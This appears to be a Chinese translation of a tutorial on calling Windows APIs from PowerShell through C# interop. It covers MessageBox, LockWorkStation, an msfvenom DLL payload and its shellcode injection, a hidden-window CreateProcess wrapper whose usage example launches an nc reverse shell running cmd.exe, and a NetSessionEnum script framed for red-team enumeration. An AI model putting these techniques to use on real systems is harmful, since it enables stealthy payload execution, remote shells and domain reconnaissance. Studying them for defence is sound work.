前言
在Mottoin之前发布过的文章《Powershell禁用绕过白名单防护》曾提到过。Powershell是微软的后期开发语言,从本质上来讲,C#和PowerShell其实都是运行在.Net框架之上的高级实现。这也就意味着,我们可以通过C#可执行程序直接调用.Net框架开放给PowerShell的那部分功能。可以编写一个C#程序,然后用它来实现PowerShell脚本的所有功能。
User32 : : MessageBox
从MSDN中可以看到C函数结构如下
1
2
3
4
5
6
|
int WINAPI MessageBox(
_In_opt_ HWND hWnd,
_In_opt_ LPCTSTR lpText,
_In_opt_ LPCTSTR lpCaption,
_In_ UINT uType
);
|
这可以很容易转化为C #,几乎就是一个文字的复制/粘贴的实例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
Add–Type –TypeDefinition @“
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public static class User32
{
[DllImport(“user32.dll“, CharSet=CharSet.Auto)]
public static extern bool MessageBox(
IntPtr hWnd, /// Parent window handle
String text, /// Text message to display
String caption, /// Window caption
int options); /// MessageBox type
}
“@
[User32]::MessageBox(0,“Text”,“Caption”,0) |Out–Null
|
创建消息框,是调用api最直接的一个。
执行以上的脚本:
当然也可以改变消息框的类型:
1
|
[User32]::MessageBox(0,“Text”,“Caption”,0x4)
|
User32 : : CallWindowProc
从dll中调用一个功能函数
1
2
3
|
[Kernel32]::LoadLibrary # Load DLL
|___[Kernel32]::GetProcAddress # Get function pointer
|___[User32]::CallWindowProc # Call function
|
CallWindowProc只有在当前函数没有任何参数的情况下才能生效,User32.dll中包含一个LockWorkStation函数,是用来锁定用户桌面的
运行这个脚本,将会锁定计算机的桌面
重新登录后,可以看到该函数提供的输出
MSFvenom : : WinExec (..or not)
尝试用msfvenom生成一个dll
我并没有太多的使用msfpayload生成dll,因为他做不到我想要做的事,而且所有的内容会在ida里暴露出来。
该dll并没有调用WinExec,而是dll在建立时调用了CreateProcess.
这个调用有些奇怪,看起来像是CreateProcess在挂起(dwCreationFlags = 0x44)的状态下,启动rundll32.exe,rundll32.exe通常是在lpApplicationName,这次却被放置在lpCommandLine,无论怎么样,当lpCommandLine第一个参数被当作模块名称时lpApplicationName可以为null,是合法的。
然后shellcode获得了进程的句柄,注入进字节数组的载荷并恢复线程。
反观我们最初的目标,从powershell中执行一个有效的payload是简单直接的。由于所有的东西都在ida的DLLMain中,我们只需要从适当的路径调用LoadLibrary。一个缺点是,当我们开始调用的话,powershell将会被冻结,为避免这种情况,需要在后台启动进程。
执行之后将会弹出计算器
Kernel32 : : CreateProcess
之前演示的都是小规模,不会遇到什么问题,但并非每次都是这样。调用CreateProcess API是一个很好的例子,但是当你在远程计算机上运行命令的时候,总会弹出cmd窗口,再仔细看windows api可以发现CreateProcess API提供了更详细的功能,包括去处cmd的gui窗口
1
2
3
4
5
6
7
8
9
10
11
12
|
BOOL WINAPI CreateProcess(
_In_opt_ LPCTSTR lpApplicationName,
_Inout_opt_ LPTSTR lpCommandLine,
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, —> SECURITY_ATTRIBUTES Struct
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, —> SECURITY_ATTRIBUTES Struct
_In_ BOOL bInheritHandles,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCTSTR lpCurrentDirectory,
_In_ LPSTARTUPINFO lpStartupInfo, —> STARTUPINFO Struct
_Out_ LPPROCESS_INFORMATION lpProcessInformation —> PROCESS_INFORMATION Struct
);
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
|
Add–Type –TypeDefinition @“
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int length;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
public static class Kernel32
{
[DllImport(“kernel32.dll“, SetLastError=true)]
public static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
}
“@
# StartupInfo Struct
$StartupInfo = New–Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000001 # STARTF_USESHOWWINDOW
$StartupInfo.wShowWindow = 0x0000 # SW_HIDE
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# ProcessInfo Struct
$ProcessInfo = New–Object PROCESS_INFORMATION
# SECURITY_ATTRIBUTES Struct (Process & Thread)
$SecAttr = New–Object SECURITY_ATTRIBUTES
$SecAttr.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SecAttr)
# CreateProcess –> lpCurrentDirectory
$GetCurrentPath = (Get–Item –Path “.\” -Verbose).FullName
# Call CreateProcess
[Kernel32]::CreateProcess(“C:\Windows\System32\cmd.exe“, “/c calc.exe“, [ref] $SecAttr, [ref] $SecAttr, $false,
0x08000000, [IntPtr]::Zero, $GetCurrentPath, [ref] $StartupInfo, [ref] $ProcessInfo) |out–null
|
上面的代码,标志着没有窗口的执行cmd.exe,然后使用cmd.exe执行calc.exe,你可以确认,cmd与进程管理器没有关联的窗口
代码看起来有点麻烦,我们修改下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
|
PS C:\Users\Fubar\Desktop> . .\Invoke–CreateProcess.ps1
PS C:\Users\Fubar\Desktop> Get–Help Invoke–CreateProcess –Full
NAME
Invoke–CreateProcess
SYNOPSIS
–Binary Full path of the module to be executed.
–Args Arguments to pass to the module, e.g. “/c calc.exe”. Defaults
to $null if not specified.
–CreationFlags Process creation flags:
0x00000000 (NONE)
0x00000001 (DEBUG_PROCESS)
0x00000002 (DEBUG_ONLY_THIS_PROCESS)
0x00000004 (CREATE_SUSPENDED)
0x00000008 (DETACHED_PROCESS)
0x00000010 (CREATE_NEW_CONSOLE)
0x00000200 (CREATE_NEW_PROCESS_GROUP)
0x00000400 (CREATE_UNICODE_ENVIRONMENT)
0x00000800 (CREATE_SEPARATE_WOW_VDM)
0x00001000 (CREATE_SHARED_WOW_VDM)
0x00040000 (CREATE_PROTECTED_PROCESS)
0x00080000 (EXTENDED_STARTUPINFO_PRESENT)
0x01000000 (CREATE_BREAKAWAY_FROM_JOB)
0x02000000 (CREATE_PRESERVE_CODE_AUTHZ_LEVEL)
0x04000000 (CREATE_DEFAULT_ERROR_MODE)
0x08000000 (CREATE_NO_WINDOW)
–ShowWindow Window display flags:
0x0000 (SW_HIDE)
0x0001 (SW_SHOWNORMAL)
0x0001 (SW_NORMAL)
0x0002 (SW_SHOWMINIMIZED)
0x0003 (SW_SHOWMAXIMIZED)
0x0003 (SW_MAXIMIZE)
0x0004 (SW_SHOWNOACTIVATE)
0x0005 (SW_SHOW)
0x0006 (SW_MINIMIZE)
0x0007 (SW_SHOWMINNOACTIVE)
0x0008 (SW_SHOWNA)
0x0009 (SW_RESTORE)
0x000A (SW_SHOWDEFAULT)
0x000B (SW_FORCEMINIMIZE)
0x000B (SW_MAX)
–StartF Bitfield to influence window creation:
0x00000001 (STARTF_USESHOWWINDOW)
0x00000002 (STARTF_USESIZE)
0x00000004 (STARTF_USEPOSITION)
0x00000008 (STARTF_USECOUNTCHARS)
0x00000010 (STARTF_USEFILLATTRIBUTE)
0x00000020 (STARTF_RUNFULLSCREEN)
0x00000040 (STARTF_FORCEONFEEDBACK)
0x00000080 (STARTF_FORCEOFFFEEDBACK)
0x00000100 (STARTF_USESTDHANDLES)
SYNTAX
Invoke–CreateProcess [–Binary] <String> [[–Args] <String>] [–CreationFlags] <Int32> [–ShowWindow]
<Int32> [–StartF] <Int32> [<CommonParameters>]
DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
License: BSD 3–Clause
Required Dependencies: None
Optional Dependencies: None
PARAMETERS
–Binary <String>
Required? true
Position? 1
Default value
Accept pipeline input? false
Accept wildcard characters?
–Args <String>
Required? false
Position? 2
Default value
Accept pipeline input? false
Accept wildcard characters?
–CreationFlags <Int32>
Required? true
Position? 3
Default value
Accept pipeline input? false
Accept wildcard characters?
–ShowWindow <Int32>
Required? true
Position? 4
Default value
Accept pipeline input? false
Accept wildcard characters?
–StartF <Int32>
Required? true
Position? 5
Default value
Accept pipeline input? false
Accept wildcard characters?
<CommonParameters>
This cmdlet supports the common parameters: Verbose, Debug,
ErrorAction, ErrorVariable, WarningAction, WarningVariable,
OutBuffer and OutVariable. For more information, type,
“get-help about_commonparameters”.
INPUTS
OUTPUTS
————————————— EXAMPLE 1 —————————————
Start calc with NONE/SW_SHOWNORMAL/STARTF_USESHOWWINDOW
C:\PS> Invoke–CreateProcess –Binary C:\Windows\System32\calc.exe –CreationFlags 0x0 –ShowWindow 0x1
–StartF 0x1
————————————— EXAMPLE 2 —————————————
Start nc reverse shell with CREATE_NO_WINDOW/SW_HIDE/STARTF_USESHOWWINDOW
C:\PS> Invoke–CreateProcess –Binary C:\Some\Path\nc.exe –Args “-nv 127.0.0.1 9988 -e
C:\Windows\System32\cmd.exe” –CreationFlags 0x8000000 –ShowWindow 0x0 –StartF 0x1
|
然后来对比看一下
第一张是正常显示cmd.exe的窗口的
下面是经过我修改代码之后的效果,是不显示cmd.exe窗口的
这里的cmd被称作“无窗口cmd”,cmd.exe去执行bitsadmin命令抓取在greyhathacker域中执行的二进制文件和结果。
Netapi32 : : NetSessionEnum
最后的例子,我们看看NetSessionEnum API。这是一个伟大的小API gem,特别是当它涉及到redteaming,它允许一个域用户枚举域身份验证会话连接,它不需要管理员权限。正如我在引言中提到的,已经有个伟大的工具,利用这个,最值得注意的是netsess和Veil-Powerview。下面的脚本是非常类似于“netsessions“PowerView 但是它不使用反射。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
|
function Invoke–NetSessionEnum {
<#
.SYNOPSIS
Use Netapi32::NetSessionEnum to enumerate active sessions on domain joined machines.
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
License: BSD 3–Clause
Required Dependencies: None
Optional Dependencies: None
.EXAMPLE
C:\PS> Invoke–NetSessionEnum –HostName SomeHostName
#>
param (
[Parameter(Mandatory = $True)]
[string]$HostName
)
Add–Type –TypeDefinition @“
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
[StructLayout(LayoutKind.Sequential)]
public struct SESSION_INFO_10
{
[MarshalAs(UnmanagedType.LPWStr)]public string OriginatingHost;
[MarshalAs(UnmanagedType.LPWStr)]public string DomainUser;
public uint SessionTime;
public uint IdleTime;
}
public static class Netapi32
{
[DllImport(“Netapi32.dll“, SetLastError=true)]
public static extern int NetSessionEnum(
[In,MarshalAs(UnmanagedType.LPWStr)] string ServerName,
[In,MarshalAs(UnmanagedType.LPWStr)] string UncClientName,
[In,MarshalAs(UnmanagedType.LPWStr)] string UserName,
Int32 Level,
out IntPtr bufptr,
int prefmaxlen,
ref Int32 entriesread,
ref Int32 totalentries,
ref Int32 resume_handle);
[DllImport(“Netapi32.dll“, SetLastError=true)]
public static extern int NetApiBufferFree(
IntPtr Buffer);
}
“@
# Create SessionInfo10 Struct
$SessionInfo10 = New–Object SESSION_INFO_10
$SessionInfo10StructSize = [System.Runtime.InteropServices.Marshal]::SizeOf($SessionInfo10) # Grab size to loop bufptr
$SessionInfo10 = $SessionInfo10.GetType() # Hacky, but we need this ;))
# NetSessionEnum params
$OutBuffPtr = [IntPtr]::Zero # Struct output buffer
$EntriesRead = $TotalEntries = $ResumeHandle = 0 # Counters & ResumeHandle
$CallResult = [Netapi32]::NetSessionEnum($HostName, “”, “”, 10, [ref]$OutBuffPtr, –1, [ref]$EntriesRead, [ref]$TotalEntries, [ref]$ResumeHandle)
if ($CallResult –ne 0){
echo “Mmm something went wrong!`nError Code: $CallResult”
}
else {
if ([System.IntPtr]::Size –eq 4) {
echo “`nNetapi32::NetSessionEnum Buffer Offset –> 0x$(“{0:X8}” -f $OutBuffPtr.ToInt32())”
}
else {
echo “`nNetapi32::NetSessionEnum Buffer Offset –> 0x$(“{0:X16}” -f $OutBuffPtr.ToInt64())”
}
echo “Result-set contains $EntriesRead session(s)!”
# Change buffer offset to int
$BufferOffset = $OutBuffPtr.ToInt64()
# Loop buffer entries and cast pointers as SessionInfo10
for ($Count = 0; ($Count –lt $EntriesRead); $Count++){
$NewIntPtr = New–Object System.Intptr –ArgumentList $BufferOffset
$Info = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr,[type]$SessionInfo10)
$Info
$BufferOffset = $BufferOffset + $SessionInfo10StructSize
}
echo “`nCalling NetApiBufferFree, no memleaks here!”
[Netapi32]::NetApiBufferFree($OutBuffPtr) |Out–Null
}
}
|
测试的时候可以看到如下输出
结束语
希望本文章能在powershell调用windows api这方面给你一些启发